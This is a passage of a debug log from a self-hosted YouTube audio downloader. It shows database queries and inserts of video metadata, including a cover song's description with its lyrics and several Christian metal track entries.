WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [397] 22:20:25.919 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nSILENCE THE WORLD (feat. Tom S. Englund) · Demon Hunter · Tom S. Englund\n\nSILENCE THE WORLD (feat. Tom S. Englund)\n\n℗ Weapons MFG\n\nReleased on: 2022-07-01\n\nAuto-generated by YouTube.", "duration" => 434, "filename" => "/downloads/ChristianMetal/ChristianMetal/2022-06-30SILENCE THE WORLD (feat. Tom S. Englund)[rCNuqM93GbI].m4a", "id" => "rCNuqM93GbI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=rCNuqM93GbI", "playlist_index" => 42, "timestamp" => 1656583709, "title" => "SILENCE THE WORLD (feat. Tom S. Englund)", "upload_date" => "20220630"} 22:20:25.919 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=400.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [200] 22:20:25.919 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:25.990 [debug] QUERY OK source="media_items" db=551.9ms idle=0.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Caitlin Myers' English cover of \"Stay With Me\" by Miki Matsubara\n⪢➣ DOWNLOAD ⪢➣ https://ffm.to/citypoppin (iTunes, Spotify, etc) \n➣ PATREON ➣ https://www.patreon.com/posts/stay-with-me-mp3-48676352 ✦\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n• Credits • (\"真夜中のドア/Stay With Me\" - Originally by: Miki Matsubara) \n✧ Vocals: Caitlin Myers feat. un3h\n✧ Lyrics: Caitlin Myers\n✧ Mix: @Rezyon \n✧ Instrumental: @vanfanco \n✧ Art: @UsagiHime777 \n✧ Video: @REINA \n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n• FOLLOW ME •\n✸ Patreon: https://www.patreon.com/caitlinmyers\n☆ Instagram: https://www.instagram.com/mom0ki/\n✸ Twitter: https://twitter.com/CaitlinMyers\n☆ Website: http://www.caitlin-myers.com/\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n▼ WANT TO USE THIS COVER SONG? ▼\nNon-profit use only - no remixes or direct uploads, please contact me before using. Please be sure to credit, link back to this video in the description, and link it to me so I can see!\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\nLyrics:\n\nTo you\nYes my love, to you\nYes my love, to you\nYou, to you\n\n“I’m who I am, as I am; you’re who you are, as who you are”\nThe final words you whispered, before you left me with a scar\n\nOn your familiar silver jacket \nSplattered coffee’s left a stain, destined always to remain\nAnd still we’re lost inside the habit\nTears reflecting in the pane, show our pitiful refrain\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME…\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret our love\n\n“Confusing love and lovin’, there is a difference though bizarre”\nThe final words you whispered, before you left me with a scar\n\nAnother winter is arriving\nLike a bird you went away, migrate back to me and stay\nBut still I’m lost inside the habit\nHere I’m yearning for your touch, will it ever matter much\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nThis heart of mine is breaking once more\nNow the winter arrived, like the tears in my eyes,\nSTAY WITH ME...\nFor your company my pride I gave away\nThe needle on my record as it plays\nBittersweet melodies, on an endless repeat, it seems\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME...\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret- \n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for \nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME...\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret-\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\n\nSTAY WITH ME...\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n#staywithme #mikimatsubara #citypop #CaitlinMyers", "Stay With Me | ENGLISH VERSION | Caitlin Myers", "07a8aa97-46a4-41dc-8c75-7f36a8e666cd", false, "xZ4p3PsGGA0", 311, false, "https://www.youtube.com/watch?v=xZ4p3PsGGA0", 15, "/downloads/Classics/Classics/2021-03-13Stay With Me | ENGLISH VERSION | Caitlin Myers[xZ4p3PsGGA0].m4a", false, false, 2, [], 1, ~U[2021-03-13 16:00:59Z], ~U[2026-07-24 02:20:25Z], ~U[2026-07-24 02:20:25Z], "Caitlin Myers' English cover of \"Stay With Me\" by Miki Matsubara\n⪢➣ DOWNLOAD ⪢➣ https://ffm.to/citypoppin (iTunes, Spotify, etc) \n➣ PATREON ➣ https://www.patreon.com/posts/stay-with-me-mp3-48676352 ✦\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n• Credits • (\"真夜中のドア/Stay With Me\" - Originally by: Miki Matsubara) \n✧ Vocals: Caitlin Myers feat. un3h\n✧ Lyrics: Caitlin Myers\n✧ Mix: @Rezyon \n✧ Instrumental: @vanfanco \n✧ Art: @UsagiHime777 \n✧ Video: @REINA \n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n• FOLLOW ME •\n✸ Patreon: https://www.patreon.com/caitlinmyers\n☆ Instagram: https://www.instagram.com/mom0ki/\n✸ Twitter: https://twitter.com/CaitlinMyers\n☆ Website: http://www.caitlin-myers.com/\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n▼ WANT TO USE THIS COVER SONG? ▼\nNon-profit use only - no remixes or direct uploads, please contact me before using. Please be sure to credit, link back to this video in the description, and link it to me so I can see!\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\nLyrics:\n\nTo you\nYes my love, to you\nYes my love, to you\nYou, to you\n\n“I’m who I am, as I am; you’re who you are, as who you are”\nThe final words you whispered, before you left me with a scar\n\nOn your familiar silver jacket \nSplattered coffee’s left a stain, destined always to remain\nAnd still we’re lost inside the habit\nTears reflecting in the pane, show our pitiful refrain\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME…\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret our love\n\n“Confusing love and lovin’, there is a difference though bizarre”\nThe final words you whispered, before you left me with a scar\n\nAnother winter is arriving\nLike a bird you went away, migrate back to me and stay\nBut still I’m lost inside the habit\nHere I’m yearning for your touch, will it ever matter much\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nThis heart of mine is breaking once more\nNow the winter arrived, like the tears in my eyes,\nSTAY WITH ME...\nFor your company my pride I gave away\nThe needle on my record as it plays\nBittersweet melodies, on an endless repeat, it seems\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME...\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret- \n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for \nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME...\nWhile your voice remains an echo of the (truncated) 22:20:25.990 [debug] QUERY OK source="media_items" db=630.5ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:26.018 [debug] QUERY OK source="sources" db=98.5ms queue=0.2ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:26.018 [debug] Replied in 661ms 22:20:26.019 [debug] QUERY OK source="sources" db=28.8ms queue=0.1ms idle=71.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:26.019 [debug] QUERY OK source="sources" db=28.8ms queue=70.3ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:26.020 [debug] QUERY OK source="sources" db=1.4ms queue=0.3ms idle=99.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:26.021 [debug] QUERY OK source="sources" db=1.1ms queue=0.5ms idle=29.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:26.021 [debug] QUERY OK source="sources" db=1.4ms queue=0.4ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:26.022 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:26.023 [debug] QUERY OK source="media_profiles" db=1.9ms queue=0.3ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:26.023 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=1.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-30 10:08:29Z], 5] 22:20:26.024 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=0.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-28 10:15:08Z], 5] 22:20:26.025 [debug] QUERY OK source="media_items" db=1.4ms idle=1.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [52] 22:20:26.025 [debug] Current batch of media processed. Will check again in 1000ms 22:20:26.025 [debug] QUERY OK source="media_items" db=1.6ms queue=0.5ms idle=1.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [200] 22:20:26.225 [debug] QUERY OK source="media_items" db=200.6ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nSILENCE THE WORLD (feat. Tom S. Englund) · Demon Hunter · Tom S. Englund\n\nSILENCE THE WORLD (feat. Tom S. Englund)\n\n℗ Weapons MFG\n\nReleased on: 2022-07-01\n\nAuto-generated by YouTube.", "SILENCE THE WORLD (feat. Tom S. Englund)", "b433108f-3584-49af-9970-5cf70f95a3ab", false, "rCNuqM93GbI", 434, false, "https://www.youtube.com/watch?v=rCNuqM93GbI", 42, "/downloads/ChristianMetal/ChristianMetal/2022-06-30SILENCE THE WORLD (feat. Tom S. Englund)[rCNuqM93GbI].m4a", false, false, 5, [], 1, ~U[2022-06-30 10:08:29Z], ~U[2026-07-24 02:20:26Z], ~U[2026-07-24 02:20:26Z], "Provided to YouTube by DistroKid\n\nSILENCE THE WORLD (feat. Tom S. Englund) · Demon Hunter · Tom S. Englund\n\nSILENCE THE WORLD (feat. Tom S. Englund)\n\n℗ Weapons MFG\n\nReleased on: 2022-07-01\n\nAuto-generated by YouTube.", "SILENCE THE WORLD (feat. Tom S. Englund)", "rCNuqM93GbI", 434, false, "https://www.youtube.com/watch?v=rCNuqM93GbI", "/downloads/ChristianMetal/ChristianMetal/2022-06-30SILENCE THE WORLD (feat. Tom S. Englund)[rCNuqM93GbI].m4a", false, 5, ~U[2022-06-30 10:08:29Z]] 22:20:26.225 [debug] QUERY OK source="sources" db=0.2ms idle=200.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:26.225 [debug] QUERY OK source="media_profiles" db=0.1ms idle=200.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:26.226 [debug] QUERY OK source="media_items" db=0.2ms idle=1.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [398] 22:20:26.226 [debug] Gracefully stopping file follower 22:20:26.354 [debug] QUERY OK source="media_items" db=329.1ms queue=0.3ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nLesser Gods · Demon Hunter\n\nWar\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-01\n\nAuto-generated by YouTube.", "Lesser Gods", "a5cf5c9f-26f4-4891-b9a6-a569cf9e86dc", false, "lwsLjgrLcQk", 316, false, "https://www.youtube.com/watch?v=lwsLjgrLcQk", 1, "/downloads/ChristianMetal/ChristianMetal/2019-02-28Lesser Gods[lwsLjgrLcQk].m4a", false, false, 5, [], 1, ~U[2019-02-28 10:15:08Z], ~U[2026-07-24 02:20:26Z], ~U[2026-07-24 02:20:26Z], "Provided to YouTube by The Orchard Enterprises\n\nLesser Gods · Demon Hunter\n\nWar\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-01\n\nAuto-generated by YouTube.", "Lesser Gods", "lwsLjgrLcQk", 316, false, "https://www.youtube.com/watch?v=lwsLjgrLcQk", "/downloads/ChristianMetal/ChristianMetal/2019-02-28Lesser Gods[lwsLjgrLcQk].m4a", false, 5, ~U[2019-02-28 10:15:08Z]] 22:20:26.354 [debug] QUERY OK source="media_metadata" db=329.1ms idle=1.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [200] 22:20:26.355 [debug] QUERY OK source="media_profiles" db=0.5ms idle=128.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:26.355 [debug] QUERY OK source="sources" db=0.8ms idle=129.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:26.356 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=129.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:26.356 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-09-17 10:06:06Z], 5] 22:20:26.356 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:26.515 [debug] QUERY OK source="settings" db=158.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:26.515 [debug] QUERY OK source="media_items" db=158.8ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nWaymaker · Seventh Day Slumber\n\nUnseen: The Lamb\n\n℗ 2020 Rockfest Records\n\nReleased on: 2020-09-18\n\nProducer: Jeremy Holderfield\nComposer Lyricist: Osinachi Okoro\n\nAuto-generated by YouTube.", "Waymaker", "4e40a630-d328-4eab-9989-f9a234049961", false, "aOWIW9aRsvo", 257, false, "https://www.youtube.com/watch?v=aOWIW9aRsvo", 2, "/downloads/ChristianMetal/ChristianMetal/2020-09-17Waymaker[aOWIW9aRsvo].m4a", false, false, 5, [], 2, ~U[2020-09-17 10:06:06Z], ~U[2026-07-24 02:20:26Z], ~U[2026-07-24 02:20:26Z], "Provided to YouTube by Universal Music Group\n\nWaymaker · Seventh Day Slumber\n\nUnseen: The Lamb\n\n℗ 2020 Rockfest Records\n\nReleased on: 2020-09-18\n\nProducer: Jeremy Holderfield\nComposer Lyricist: Osinachi Okoro\n\nAuto-generated by YouTube.", "Waymaker", "aOWIW9aRsvo", 257, false, "https://www.youtube.com/watch?v=aOWIW9aRsvo", "/downloads/ChristianMetal/ChristianMetal/2020-09-17Waymaker[aOWIW9aRsvo].m4a", false, 